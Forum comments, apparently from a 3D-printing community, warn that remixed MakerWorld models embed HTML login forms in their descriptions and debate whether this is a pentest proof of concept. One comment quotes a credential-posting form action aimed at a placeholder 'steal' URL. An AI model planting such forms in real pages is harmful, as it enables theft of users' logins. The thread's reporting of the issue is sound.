I strongly recommend that users do not enter any credentials or personal information into these forms until MakerWorld has reviewed the situation.
I am not making any assumptions about the creator’s intentions — I simply want to make sure this potentially harmful content is investigated and removed if it violates MakerWorld’s rules.
I can provide the original model, links to both remixes, the original reports, and any additional information privately if needed.
To be totally fair, this may be a good faith-ish attempt at validating a genuine security issue in Makerworld.
If the model description field will genuinely process and display code, that’s a real problem.
I don’t think an individual trying to harvest logins is going to call the profiles “pentest” - although using other people’s models as the basis for the efforts without first asking is questionable.
I had already analyzed the code myself, and the form points to an invalid external URL.
It could even be a bug bounty proof-of-concept, but things like this shouldn’t be left on a production site.
I have to know the prompt for this. “Add cat, attempting to dig in pot, but with an expression of thwarted desperation, as if to say What have you done? I was going to peeee in here!”
“Teenage male cat caught on computer browsing risqué websites, but replace the computer with a potted plant.” You could also add the caption “A bong? I ordered a X-Box controller!”
The screenshot of the remix includes the text “pentest verification draft”.
‘Pentest’ is cybersecurity jargon for “penetration testing”. This might be the work of a red team from Bambu, or from a consultant they hired to test MakerWorld security.
(Not to mention, @ikxdfmentionedform action=“https://poc-showcase.invalid/steal” method="POST". POC usually means “proof of concept”, and any domain name ending in .invalid will never work (by design).
It’s also possible, if unlikely that this is a real attack attempt. Either way, MakerWorld/Bambu should take it down. If it’s a red team pentest, it’s time to note the result and take it down.
